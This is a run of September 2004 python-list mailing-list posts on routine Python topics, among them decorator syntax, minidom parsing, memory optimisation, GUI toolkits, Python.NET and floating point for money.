embeddedsystems.nl Wed Sep 22 02:01:00 2004 From: gerrit.muller at embeddedsystems.nl (Gerrit Muller) Date: Wed, 22 Sep 2004 08:01:00 +0200 Subject: Add other class attributes to HTMLgen tags? In-Reply-To: References: Message-ID: adeger wrote: > For use of CSS how do I do something > like insert a 'class' attribute into an > HTML tag like: > >
> > I've really made a good faith effort to find this > in the documentation and elsewhere on the web with > no luck. > > Thanks in advance, > ard I use the following work-around: icons = TD(**{"class":"icons"}) kind regards, Gerrit -- Gaudi systems architecting: From firstname at lastname.pr1v.n0 Thu Sep 9 06:22:15 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Thu, 9 Sep 2004 12:22:15 +0200 Subject: Xah Lee's Unixism References: <2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com> Message-ID: In article <2tjvj0ttc99io295ecg2l86lc2h4tug1jc at 4ax.com>, Reynir Stef?nsson wrote: >So spake Anne & Lynn Wheeler: > >>OSI can support x.25 packet switching and/or even the arpanet packet >>switching from the 60s & 70s .... but it precludes internetworking >>protocol. internetworking protocol (aka internet for short) is a >>(non-existant) layer in an OSI protocol stack between >>layer3/networking and layer4/transport. misc. osi (& other) comments >>http://www.garlic.com/~lynn/subnetwork.html#xtphsp > >Wasn't the idea behind ISO/OSI that there should be One Network for >everybody, instead of today's lot of interconnected nets? There were provisions for many networks; but it was a design that requires (large) service providers; aka Phone Companies to provide service. Self-provisioning like we do all the time on the Internet was difficult. -- mrr From gvanrossum at gmail.com Wed Sep 1 00:59:25 2004 From: gvanrossum at gmail.com (Guido van Rossum) Date: Tue, 31 Aug 2004 21:59:25 -0700 Subject: Rejecting the J2 decorators proposal Message-ID: Robert and Python-dev, I've read the J2 proposal up and down several times, pondered all the issues, and slept on it for a night, and I still don't like it enough to accept it. The only reason to accept it would be to pacify the supporters of the proposal, and that just isn't a good enough reason in language design. However, it got pretty darn close! I'm impressed with how the community managed to pull together and face the enormous challenge of picking a single alternative (from more than two dozen on the Wiki!) and arguing consistently. I expect to see more proposals like this in the future, and I'm sure that some of them will be good enough to make it into the language. I've also (again) learned a lesson: dramatic changes must be discussed with the community at large. In a large enough group there are no uncontroversial proposals, so this will take time, but it's worth it -- one of the main issues with the @decorator syntax was not technical but socio-political, in the sense that it hadn't been properly discussed outside a *very* small circle. I take the full blame for that, and I don't want to hide behind my current lack of time which, realistically, won't change until either my ESI stock options earn me an early retirement, or the PSF strikes it rich and can pay me full time :-). So let me explain why I'm not choosing J2, and what's next. There are two major issues and one minor that made me decide against J2. Major issue one: the syntactic form of an indented block strongly suggests that its contents should be a sequence of statements, but in fact it is not -- only expressions are allowed, and there is an implicit "collecting" of these expressions going on until they can be applied to the subsequent function definition. To me, this is a more serious problem than the namespace questions brought up in the proposal (unfortunately that particular section of the proposal is its most confused part; but even if the text had been crystal clear, the problem remains). The best counter-argument to this I've heard is "you'll get used to it", which is also what I'm saying of @decorators; and many people have already testified that they indeed got used to it and even liked it. Major issue two: the keyword starting the line that heads a block draws a lot of attention to it. This is true for "if", "while", "for", "try", "def" and "class". But the "using" keyword (or any other keyword in its place) doesn't deserve that attention; the emphasis should be on the decorator or decorators inside the suite, since those are the important modifiers to the function definition that follows. When a function definition carries one or more decorators, the most important information is not the fact that it has decorators, but the specific decorators used. A classmethod or staticmethod decorator adds a completely different flavor than a decorator that provides an external linkage hint for ObjC, or one that adds synchronization, or one that declares deprecation. I expect that at least 80% of the use of decorators will have a single decorator per function, and it's a pain for that decorator to be hiding behind a content-free keyword. (This is *not* a number-of-keystrokes argument. You know I don't care much about that.) Minor issue: "using" is a poor choice of keyword. It resembles C#'s "using" and perhaps Perl's "use", both of which have completely different meanings. But there don't seem to be any better alternatives (the best I could come up with was "transmogrify" :-). So, what's next? In Python 2.4a3 (to be released this Thursday), everything remains as currently in CVS. For 2.4b1, I will consider a change of @ to some other single character, even though I think that @ has the advantage of being the same character used by a similar feature in Java. It's been argued that it's not quite the same, since @ in Java is used for attributes that don't change semantics. But Python's dynamic nature makes that its syntactic elements never mean quite the same thing as similar constructs in other languages, and there is definitely significant overlap. Regarding the impact on 3rd party tools: IPython's author doesn't think there's going to be much impact; Leo's author has said that Leo will survive (although it will cause him and his users some transitional pain). I actually expect that picking a character that's already used elsewhere in Python's syntax might be harder for external tools to adapt to, since parsing will have to be more subtle in that case. But I'm frankly undecided, so there's some wiggle room here. I don't want to consider further syntactic alternatives at this point: the buck has to stop at some point, everyone has had their say, and the show must go on. In the coming years I hope that as a community we'll gain enough experience with decorators to decide whether we need to adopt a different syntax for Python 3000 or not. One of the difficulties with choosing a decorator syntax has definitely been that nobody can predict how they are going to be used predominantly. Different alternatives look better depending on whether there are many or few decorators per function, whether they have long argument lists or not, and perhaps also whether their use is for transformation or for annotation. Despite the novelty of using the @ character, I personally feel that prefix decorators are a huge improvement over the "f = staticmethod(f)" style of decorating. A warning: some people have shown examples of extreme uses of decorators. I've seen decorators proposed for argument and return type annotations, and even one that used a decorator to create an object that did a regular expression substitution. Those uses are cute, but I recommend being conservative when deciding between using a decorator or some other approach, especially in code that will see a large audience (like 3rd party library packages). Using decorators for type annotations in particular looks tedious, and this particular application is so important that I expect Python 3000 will have optional type declarations integrated into the argument list. Thanks to everyone who read until the end of this message! -- --Guido van Rossum (home page: http://www.python.org/~guido/) From grante at visi.com Mon Sep 20 12:00:12 2004 From: grante at visi.com (Grant Edwards) Date: 20 Sep 2004 16:00:12 GMT Subject: MAC address References: Message-ID: <414efe8c$0$60631$a1866201@newsreader.visi.com> On 2004-09-20, Ajay wrote: > is it possible to change your MAC address from a program? Yes -- on some boards and some OSes. > Can i do that using Python? Yes -- on some boards and some OSes. -- Grant Edwards grante Yow! .. or were you at driving the PONTIAC that visi.com HONKED at me in MIAMI last Tuesday? From tim.peters at gmail.com Tue Sep 21 09:20:08 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 21 Sep 2004 09:20:08 -0400 Subject: need help defining Constant memory requirement In-Reply-To: <200409211307.03721.heikowu@ceosg.de> References: <200409201020.33427.heikowu@ceosg.de> <1f7befae040920131118bf3a75@mail.gmail.com> <200409211307.03721.heikowu@ceosg.de> Message-ID: <1f7befae040921062012d6d4b4@mail.gmail.com> [Tim Peters] >> def finddup(iterable): >> result = 0 >> for i, x in enumerate(iterable): >> result ^= i ^ x >> return result [Heiko Wundram] > Erm... Shouldn't this function be: No. Try it! > def finddup(it): > result = 0 > for i, x in enumerate(it): > result ^= i ^ x > return result ^ i > > Because in ( 1 ^ 1 ) ^ ( 2 ^ 2 ) ... ^ ( (n-1) ^ (n-1) ) ^ ( x ^ n ) all terms > zero out except the last one. So, basically what you get is x ^ n, and x ^ > ( n ^ n ) = x... > > Guess that was just a typo... ;) I think you misunderstand what enumerate does. enumerate() starts at 0, not at 1. So enumerate generates 0, 1, .., n-1 here, where n == len(it). The 0 has no effect, and the rest cancel out 1 thru n-1 from the sequence. All that remains then is the duplicate.in the sequence. From luismg at gmx.net Fri Sep 24 19:01:30 2004 From: luismg at gmx.net (Neuruss) Date: 24 Sep 2004 16:01:30 -0700 Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) References: <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> Message-ID: <278de0e.0409241501.3bbfabd4@posting.google.com> > What are these American products they are buying? Coca Cola and Big > Macs (which are probably locally produced)? MSFT Windows? > > I don't really see a need for any American products when much cheaper > alternatives are available, from Asia and elsewhere. Of course you are right, and I didn't say that as an absolute statement, I just wanted to pinpoint a trend that you can see as positive, from another point of view. For example, you can buy american (or european, or japanese) products that are locally produced, but the profit goes for the corporations (as usual). The good news here is that at least a little part of this value goes for the workers who made them. When I buy a pair of Nike snickers made in Vietnam, I'm buying american products. I'm improving the chances that those who work in marketing, design, accountancy, or whatever sector of the company keep on living well, and at the same time I'm sure that a few vietnamese who work producing them will at least feed their family, which is much better than starving. > Personally, I don't care much either way because Finland is one of > those countries with low salaries for engineers, with the unfortunate > twist of the cost of living being high as well. You don't have to be affraid because Finland has everything to be rich and prosperous: a transparent political system, highly educated people, respect for law and a honest society. From goodger at python.org Wed Sep 29 09:05:32 2004 From: goodger at python.org (David Goodger) Date: Wed, 29 Sep 2004 09:05:32 -0400 Subject: [OT] wxpython dmg In-Reply-To: References: Message-ID: <415AB31C.5050201@python.org> [andrea valle] > Ehm...This is a bit silly... > I downloaded wxPython on macosx 10.3.5 but I do not see it as a disk > dmg. It's associated to Mickey Excel. What the heck have I to do to open > it and install it? I am a bit new to Mac and no so expert on OS. Please provide more details: * the exact name of the file you downloaded * the URL where you downloaded it from -- David Goodger -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 261 bytes Desc: OpenPGP digital signature URL: From SBrunning at trisystems.co.uk Thu Sep 23 05:57:22 2004 From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk) Date: Thu, 23 Sep 2004 10:57:22 +0100 Subject: detecting variable types Message-ID: <9EED4A0E5EFBD811901100600846864D061163@intrepid> > From: Jay [mailto:wjjeonk at hotmail.com] > > I'm sure this is a really dumb question, but how do you > detect a variable > type in Python? > > For example, I want to know if the variable "a" is a list of > strings or a > single string. How do I do this? Plenty of discussion here: . Cheers, Simon B. simon at brunningonline.net http://www.brunningonline.net/simon/blog/ ----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From PeterAbel at gmx.net Wed Sep 1 07:05:08 2004 From: PeterAbel at gmx.net (Peter Abel) Date: 1 Sep 2004 04:05:08 -0700 Subject: string.maketrans().lower() References: Message-ID: <21064255.0409010305.61a9fa14@posting.google.com> Hallvard B Furuseth wrote in message news:... > I have a translation table from > tr = string.maketrans(...) > and want a table which produces the same characters lowercased. > > `tr.lower()' works - at least with Python 2.3 - but is that will > that remain reliable? Or should I use something like this? > > string.maketrans("".join(map(chr, xrange(256))), > "".join(map(chr, xrange(256))).translate(tr).lower()) > > BTW, is there a simpler way to write "".join(map(chr, xrange(256)))? Not 256 chars, but some of them where lower and upper really makes sense. >>> import string >>> string.ascii_lowercase 'abcdefghijklmnopqrstuvwxyz' >>> string.ascii_uppercase 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' >>> Regards Peter From bokr at oz.net Tue Sep 14 22:20:38 2004 From: bokr at oz.net (Bengt Richter) Date: 15 Sep 2004 02:20:38 GMT Subject: optimizing memory utilization References: <1db49385.0409141355.5d204a03@posting.google.com> Message-ID: On 14 Sep 2004 14:55:56 -0700, wcrucius at sandc.com (Wes Crucius) wrote: >"Frithiof Andreas Jensen" wrote in message news:... >> "Anon" wrote in message >> news:pan.2004.09.14.04.38.02.647096 at ymous.com... >> >> > Any data structures suggestions for this application? BTW, the later >> > accesses to this database would not benefit in any way from being >> > presorted, >> >> You keep saying it yourself: Use a Database ;-). >> >> Databases "knows" about stuff in memory, as well as any searching and >> sorting you might dream up later. >> >> Python supports several, the simplest is probably PySQLite: >> http://sourceforge.net/projects/pysqlite/ > >Thanks for the specific suggestion, but it's an approach I'd hoped to >avoid. I'd rather get 2Gig of RAM if I was confident I could make it >work that way... The problem with a file-based database (versus an >in-memory data-structure-based database as I was meaning) is >performance. > >Maybe someone has a better suggestion if I give little more info: I >want to iterate through about 10,000 strings (each ~256 characters or >less) looking for occurances (within those 10,000 strings) of any one >of about 500,000 smaller (~30-50 characters average) strings. Then I >generate an XML doc that records which of the 500,000 strings were >found within each of the 10,000 strings. Need example of raw input and desired output ;-) Patterns starting at any character? What if you have overlapping matches? I.e., if you had a string 'abbcde123', and were looking for 'bb' and 'bc' would it count as two matches? Would longer matches have priority? E.g., matching 'bbcd' overrides 'bb and 'cd' as separate matches? Anyway, let's see what a brute force simple approach does. E.g, just put the 500,000 small strings in a small tree of dictionaries based on say string length, then the string (you could tier it again with some leading characters and the rest, but I'd try the easy thing first. But anyway, the idea (practically untested) is something like: This finds repeating and overlapping patterns, since it was easy. That may not be what you want, but you didn't say ;-) ----< s500kin10k.py >--------------------------------------- def main(path500k, path10k): root = {} for line in file(path500k): line = line.rstrip() if not line: continue root.setdefault(len(line),{})[line] = None lengths = root.keys() lengths.sort() print lengths print root # and then walk through your 10k strings of ~256 characters for nl, line in enumerate(file(path10k)): line = line.rstrip() hdr = 'Line %s: %r\n' % (nl, line) nc = len(line) for length in lengths: if length > nc: break tier1 = root[length] for nstep in xrange(nc+1-length): # walk a window of length chars if line[nstep:nstep+length] in tier1: print '%s %r' % (hdr, line[nstep:nstep+length]) hdr = '' if __name__ == '__main__': import sys if len(sys.argv)!=3: raise SystemExit, """ Usage: s500kin10k.py path500k path10k where path500k has 500k lines of one string each, and path10k has 10k lines to search for the 500k in any position. """ main(*sys.argv[1:]) ------------------------------------------------------------ > >I guess I am hoping to optimize memory usage in order to avoid >thrashing my drives to death (due to using a file based database). I >can't believe that python requires memory 200% "overhead" to store my >data as lists of lists. I gotta believe I've chosen the wrong >data-type or have mis-applied it somehow?? > >BTW, my illustration wasn't my input data, it was literally the output >of "print Albums" (with only a couple albums worth of dummy data >loaded). Albums is a list containing a list for each album, which in >turn contains another list for each track on the album, which in-turn >contains a couple of items of data about the given track. > >Bottom line question here: Is a 'list' the most efficient data type >to use for storing "arrays" of "arrays" of "arrays" and strings", >given that I'm happy to iterate and don't need any sort of lookup or >search functionality?? > > I suspect that you won't be that happy iterating through just arrays, unless they are arrays of patternmatching tables like IIRC flex generates to do parsing. Basically doing tricky parallel pattern matching by keeping track of which patterns are alive as you go from character to character. But 500k patterns are a lot of patterns.... >Thanks again, See if the above runs you out of memory. Or time ;-) I'd try it on shorter files first. You didn't say what you wanted your final output to look like. Small examples of input => output communicate well ;-) Regards, Bengt Richter From graham.fawcett at gmail.com Wed Sep 8 01:35:28 2004 From: graham.fawcett at gmail.com (Graham Fawcett) Date: 7 Sep 2004 22:35:28 -0700 Subject: Simple Web Templating system with execution in templates Message-ID: You might consider using Quixote: it's quite minimal as frameworks go, and it's been used with templating libraries in the "sandbox" manner that you've mentioned. Take a look at http://quixote.ca/qx/TemplatingWithCheetah for an example. -- Graham From heikowu at ceosg.de Mon Sep 20 05:07:39 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 11:07:39 +0200 Subject: Math errors in python In-Reply-To: <1gkdkgj.12f5pjs6acjl1N%aleaxit@yahoo.com> References: <1gkdkgj.12f5pjs6acjl1N%aleaxit@yahoo.com> Message-ID: <200409201107.40789.heikowu@ceosg.de> Am Sonntag, 19. September 2004 19:41 schrieb Alex Martelli: > gmpy (or to be more precise the underlying GMP library) runs optimally > on AMD Athlon 32-bit processors, which happen to be dirt cheap these > days, so a cleverly-purchased 300-dollars desktop Linux PC using such an > Athlon chip would no doubt let you use way more than these humble couple > thousand bits for such interactive computations while maintaining a > perfectly acceptable interactive response time. But still, no algorithm implemented in software will ever beat the FADD/FMUL/FDIV/FPOW/FSIN/FCOS etc. instructions in runtime, that was my point... And error calculation is always possible, so that you can give bounds to your result, even when using normal floating point arithmetic. And, even when using GMPy, you have to know about the underlying limitations of binary floating point so that you can reorganize your code if need be to add precision (because one calculation might be much less precise if done in some way than in another). Heiko. From john at grulic.org.ar Tue Sep 14 14:18:58 2004 From: john at grulic.org.ar (John Lenton) Date: Tue, 14 Sep 2004 15:18:58 -0300 Subject: My first attempt at subclassing....Gahh! In-Reply-To: <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com> References: <95c29a5e.0409131910.5c916122@posting.google.com> <1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com> Message-ID: <20040914181858.GA12324@grulic.org.ar> On Tue, Sep 14, 2004 at 10:08:25AM +0200, Alex Martelli wrote: > Robin Siebler wrote: > > > I want to use filecmp.dircmp, but it only prints to the screen, there > > is no way to capture the output. So I thought that I should simply be > > Il prints to sys.stdout, which may be the screen or elsewhere, therefore > there IS of course a way to capture the output: > > import sys, filecmp, cStringIO > > save_stdout = sys.stdout I believe sys.__stdout__ is there for the purpose of not having to 'save' sys.stdout in this way. -- John Lenton (john at grulic.org.ar) -- Random fortune: Q: "What is the burning question on the mind of every dyslexic existentialist?" A: "Is there a dog?" -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From kyle at lakeofburningfire.org Sun Sep 5 17:26:01 2004 From: kyle at lakeofburningfire.org (Kyle Yancey) Date: Sun, 05 Sep 2004 21:26:01 GMT Subject: python.NET vs. IronPython (was: .net and python) References: <4136fe58$0$285$4d4ebb8e@news.nl.uu.net> Message-ID: <3o0nj0h4k0jb37hrpm63efi14ogjgt1k7a@4ax.com> python.net is a python extension that allows you to call .net classes from regular python. IronPython is a python interpreter coded in either managed C or C#. (not sure which) That python interpreter not only has access to .net classes, but runs on top of the .net virtual machine. It actually may be slightly faster than CPython since it uses clr classes which have been heavily optimized. I think it's a little early to tell about that, but it looks promising. For right now, python.net looks to be the moderate course if you just want to call a few .net classes. On Thu, 2 Sep 2004 13:05:02 +0200, "Guyon Mor?e" wrote: >Can anyone tell me the difference between python.net and IronPython? > > >"Lawrence Oluyede" wrote in message >news:xzh9kwuw4lj8$.18shw4j93827i.dlg at 40tude.net... >> In data Thu, 2 Sep 2004 18:28:03 +1000, Ajay ha scritto: >> >> > Is it possible for me to have part of my application written using >C#.NET >> > and then have it called from within a Python program. >> >> Try Python.NET http://www.zope.org/Members/Brian/PythonNet/index_html >> From there you can access dotNET libraries within a Python program >> >> -- >> Lawrence (l dot oluyede at virgilio dot it) >> "If the implementation is hard to explain, it's a bad idea." >> from The Zen of Python by Tim Peters > From abra9823 at mail.usyd.edu.au Fri Sep 10 06:51:32 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Fri, 10 Sep 2004 20:51:32 +1000 Subject: [XML-SIG] minidom parse error - keyerror In-Reply-To: <1094762405.16237.329.camel@borgia> References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au> <1094704456.413fdd48349c1@www-mail.usyd.edu.au> <1094762405.16237.329.camel@borgia> Message-ID: <1094813492.414187341e79b@www-mail.usyd.edu.au> Quoting Uche Ogbuji : > On Wed, 2004-09-08 at 22:34, Ajay wrote: > > hi! > > > > > > Quoting Alan Kennedy : > > > > > [Ajay] > > > > i have tried the archives now and heaps of Google searches but am > no > > > closer > > > > to finding out what the error is. > > > > > > > > the error does not appear if i use expat. > > > > > > and > > > > > > >>i am parsing the attached document. > > > >>the code is > > > >>parser = make_parser('xml.sax.drivers2.drv_xmlproc') > > > >>ruleSet = parse(ruleSetFile, parser=parser) > > You've got some odd code here. The following works for me (no errors): > > >>> from xml.sax import make_parser > >>> parser = make_parser('xml.sax.drivers2.drv_xmlproc') > >>> ruleSet = parser.parse("foo.xml") > > Where "foo.xml" is the file I pasted in from your message. i should have put my import statements. i am actually trying to use minidom with xmlproc. thus the code really is from xml.dom.minidom import parse from xml.sax import make_parser parser=make_parser('xml.sax.drivers2.drv_xmlproc') ruleSet = parse('foo.xml', parser=parser) this throws the error i described earlier for the document which i also posted earlier. so what am i doing wrong? cheers > > > -- > Uche Ogbuji Fourthought, Inc. > http://uche.ogbuji.net http://4Suite.org http://fourthought.com > Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK. http://xmlopen.org > > A hands-on introduction to ISO Schematron - > http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html > Practical (Python) SAX Notes - > http://www.xml.com/pub/a/2004/08/11/py-xml.html > XML circles the globe - http://www.javareport.com/article.asp?id=9797 > Element structures for names and addresses - > http://www.ibm.com/developerworks/xml/library/x-elemdes.html > Commentary on "Objects. Encapsulation. XML?" - > http://www.adtmag.com/article.asp?id=9090 > Harold's Effective XML - > http://www.ibm.com/developerworks/xml/library/x-think25.html > A survey of XML standards - > http://www-106.ibm.com/developerworks/xml/library/x-stand4/ > > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From godoy at ieee.org Tue Sep 14 13:24:02 2004 From: godoy at ieee.org (Jorge Godoy) Date: Tue, 14 Sep 2004 14:24:02 -0300 Subject: up with PyGUI! References: Message-ID: "Zooko O'Whielacronx" writes: > If you're developing a commercial application in Python, wxPython is > currently the only option that offers native widgets on w32. It would > be a boost for Python if PyGUI got a native w32 backend. Indeed... But first, I'm curious about how it looks. I don't understand why people make GUI projects without any screenshot available on their own website. How can we see how it looks without downloading, it? BTW, I got really interested on the tool used to draw the diagrams on this page: http://www.cosc.canterbury.ac.nz/~greg/python_gui/version/Doc/ownership.html Be seeing you, -- Godoy. From ed-no at spam-eepatents.com Tue Sep 7 13:24:03 2004 From: ed-no at spam-eepatents.com (Ed Suominen) Date: Tue, 07 Sep 2004 10:24:03 -0700 Subject: ANN: WxInter References: Message-ID: Good points. The thing to do, IMHO, would be to improve wxWindows/wxPython to provide the text and canvas widget functionality, and then move with the WxInter idea to use it as a path for abandoning TkInter. I have Tk and OOP experience, and could work on WxInter (all Python) with the help of others. But the work on wxWindows/wxPython (C++) would have to be someone else's domain. The wxWidgets project has a bounties page [1]. If there were enough interest (e.g., by the Python foundation), that might be a route to get the needed text/canvas functionality. Would a PEP be welcomed or opposed on this topic? [1] http://wiki.wxwidgets.org/wiki.pl?WxWidgets_Bounties Ed Suominen Registered Patent Agent Open-Source Software Author (yes, both...) Web Site: http://www.eepatents.com Eric Brunel wrote: > Jeremy Bowers wrote: >> On Mon, 06 Sep 2004 15:55:30 -0700, Ed Suominen wrote: >> >> >>>WxInter is a drop-in replacement for TkInter, providing user-transparent >>>wxPython-based replacements for each and every part of the Tkinter class >>>library. Because wxPython can do anything that the ancient and stagnant >>>TkInter can do (but with a themable, modern window appearance), legacy >>>code will still run, looking better than ever, and Python's last >>>connection to the Tcl/TK albatross will be forever broken. >>> >>>OK, I just made all this up. But why couldn't it happen? I'd even be >>>tempted to code it myself, but I'm sure others with some wxPython >>>experience could do it much faster and better. >> >> >> Well, it would break my app. The TKInter text widget is better than what >> the wxWindows text widget can provide for me > > Agreed. And I didn't see any equivalent of the Tkinter Canvas widget in > any other toolset. In fact, I didn't even see any widget coming close to > it. For some kind of applications (namely application doing vector > drawing), it is nearly impossible to consider anything else than Tkinter > *because* of the Canvas widget... > > However, I'll be glad if someone can prove me wrong... From steven.bethard at gmail.com Mon Sep 13 15:57:51 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 13 Sep 2004 19:57:51 +0000 (UTC) Subject: Find first in sequence (simple question) References: Message-ID: Neal D. Becker verizon.net> writes: > > What is an efficient way to find the first element in a sequence meeting > some condition? > > For example, the first number > x in a list of numbers. > >>> l = range(20) >>> def cond(x): ... return x > 11 ... >>> i = itertools.ifilter(cond, l) >>> i.next() 12 That is, the first element of the iterator returned by itertools.ifilter should be the element you want. STeve From steven.bethard at gmail.com Thu Sep 23 11:36:46 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 23 Sep 2004 15:36:46 +0000 (UTC) Subject: Python 3.0, rich comparisons and sorting order References: <5y04d.1704$g42.492@newsread3.news.pas.earthlink.net> <1gkklc5.1p7evdjdacgadN%aleaxit@yahoo.com> Message-ID: Alex Martelli yahoo.com> writes: > now, anylist.sort(key=masquerade_a_cmp_as_a_key(foo)) should do just the > same thing (albeit a tad slower) as anylist.sort(cmp=foo), I believe. Good point. It also makes the better point that trying to use key= when you really want cmp= would be pretty awkward. And examples like Andrew Dalke's file comparator (that compares file size before comparing content) would be more awkward to write this way. (If nothing else, he'd have to use your wrapper function.) I'm convinced. ;) STeve From timr at probo.com Thu Sep 23 23:45:48 2004 From: timr at probo.com (Tim Roberts) Date: Thu, 23 Sep 2004 20:45:48 -0700 Subject: Why not FP for Money? References: Message-ID: Dennis Lee Bieber wrote: >On 22 Sep 2004 22:03:43 -0700, Barkmann at gmail.com (Chris Barker) >declaimed the following in comp.lang.python: > >> binary FP, you can't represent 1/10 of a cent exactly, but you can get >> darn close, and if you round the answer to pennies when your done, it >> will be just as accurate as decimal (given how many bit you use, >> etc.), in general. >> > Note that M$ VB "Money" data type (which I believe is a scaled >double binary integer) purportedly goes to the hundredth of a cent. Exactly correct. It is a 64-bit scaled integer, scaled by 10000. The Currency data type has been dropped in VB.NET; they now have a full-fledged Decimal type. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From keir at mooncode.com Wed Sep 8 12:34:12 2004 From: keir at mooncode.com (keirr) Date: 8 Sep 2004 09:34:12 -0700 Subject: tuples allocated by formated print ? Message-ID: Alexander Hoffmann wrote: > Hello, > > Recently I was debugging a memory leak in my app and finally figured out that > I had to manually implement destructors for some classes. > While debugging I wrote a method that prints the number of instances per type > for all objects returned by gc.get_objects. I was astonished by the fact that > after perfroming a few tests with my app there were about 4000 instances of > Tuple in memory. Looking at these instances I got the feeling that they > contained the values I used in formated prints like: print ("my name is %s" % > ("alex", )) Do these objects survive gc.collect() ? From fredrik at pythonware.com Thu Sep 30 02:00:29 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 30 Sep 2004 08:00:29 +0200 Subject: ImageWin Dib draw usage? References: Message-ID: D. Rush wrote: > And of course the source - if that's helpful: > http://www.koders.com/python/fidF6C509A8541B869587B2FA42EFE57E5FA417147B.aspx?s=ImageWin # The Python Imaging Library. # $Id: ImageWin.py,v 1.1 2000/05/24 13:29:09 stig Exp $ who's stig? From fumanchu at amor.org Wed Sep 29 11:11:17 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 29 Sep 2004 08:11:17 -0700 Subject: Quiero empezar con python pero quisiera saber... Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022F17@exchange.hqamor.amorhq.net> > Hola Comunidad de python...reciban de mi parte un Cordial saludo De mio tambien. Disculpe mi Espa?ol, pero solo lo hablo en mi trabajo, no lo escribo mucho. Pero voy tratar... Tambien soy programador durante 4 a?os en VB y un poquito en Java. Ya hago todo en Python. Bienvenidos! (Al lado, debes saber que la mayoria de las conversaciones en esta list son en Ingles. Si hablas Ingles tanto que mi pobre Espa?ol, debes probarlo a ganar majores respuestas... ;) > quisiera saber y espero una opinion objetiva si con python > puedo encontrar la misma robutez la misma sencillez que > tiene un lenguaje como por ejemplo java. En esta punto, la misma robutez pero MUCHO mas sencillez. > si puedo encontrar la misma velocidad y rendimiento en > cuanto interfaces como visual basic. Python tiene muchos opciones para hacer GUIs. Debes leer el FAQ: http://www.python.org/doc/faq/gui.html Por eso, hay unos dise?adoras para Python: google por "pythoncard" y "boa constructor", unos de los mas maduros. Nada de estos ya alcanza la nivel de VB, en mi opinion. Pero yo hago aplicaciones para el web, en la mayoria, entonces no los he probado mucho. > quisiera saber como es el manejo de bases de datos facil??? La manera mas facil probablemente es el DB-API: http://www.python.org/topics/database/ > python tiene algun programa que haga reportes como el > JasperReport para java??? No tengo experiencia con eso. Pero por PDF desde Python, hay reportlab: http://www.reportlab.com/ y http://www.reportlab.org. > Python usa punteros????? Solamente por adentro. Todo de las referencias son punteros, pero ocultado del programador. No te preocupa con esos en Python. :) Espero que he ayudado, Robert Brewer MIS Amor Ministries fumanchu at amor.org From uche at ogbuji.net Fri Sep 3 19:31:15 2004 From: uche at ogbuji.net (Uche Ogbuji) Date: 3 Sep 2004 16:31:15 -0700 Subject: xml.dom.minidom - documentElement vs. childNodes References: Message-ID: Peter Otten <__peter__ at web.de> wrote in message news:... > Skip Montanaro wrote: > > > I'm getting somewhat painfully acquainted with xml.dom.minidom. What is > > the relationship between its documentElement attribute and its childNodes > > list? > > I thought XML documents consisted of a single, possibly compound, node. > > Why is a list of childNodes needed? > > >>> import xml.dom.minidom as md > >>> dom = md.parseString("""""") > >>> dom.childNodes > [, ] > >>> > > Seems like comments are preserved in childNodes, too. Comments, processing instructions and whitespace text nodes can come before the document element, and in that way becoem the children of the document node. Minidom doesn't keep document-level whitespace, but som DOM impls do. Furthermore the doctype of the document is a child of the document node. It can be an actual doc type declaration: [SNIP] Or an implicit one, as in your example (where the only doctype information is the document type element). All that having been said, I must add that in the words of Guido "DOM sucks". We designed Domlette to ignore some of the madness of the full DOM spec (though it does support multiple children for the document node, which is pwerfectly fine and useful). -- Uche Ogbuji Fourthought, Inc. http://uche.ogbuji.net http://4Suite.org http://fourthought.com Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK. http://xmlopen.org A hands-on introduction to ISO Schematron - http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html Practical (Python) SAX Notes - http://www.xml.com/pub/a/2004/08/11/py-xml.html XML circles the globe - http://www.javareport.com/article.asp?id=9797 Element structures for names and addresses - http://www.ibm.com/developerworks/xml/library/x-elemdes.html Commentary on "Objects. Encapsulation. XML?" - http://www.adtmag.com/article.asp?id=9090 Harold's Effective XML - http://www.ibm.com/developerworks/xml/library/x-think25.html A survey of XML standards - http://www-106.ibm.com/developerworks/xml/library/x-stand4/ From secun at yahoo.com Mon Sep 13 12:22:33 2004 From: secun at yahoo.com (ChrisH) Date: Mon, 13 Sep 2004 16:22:33 GMT Subject: network programming list. References: Message-ID: What OS(s)? In article , christopher at baus.net says... > Is there a network programming list for Python? I primarily use python > for network programming, and the amount of traffic on this list is > overwhelming, as there are a bunch of topics regarding the language itself > rather than the applications. > > I was wondering if others think it might be worth while to create a list > that is focused on network programming. > > == > christopher baus > http://www.baus.net/ > > From aleaxit at yahoo.com Thu Sep 30 07:30:18 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 30 Sep 2004 13:30:18 +0200 Subject: Constant variable and API References: Message-ID: 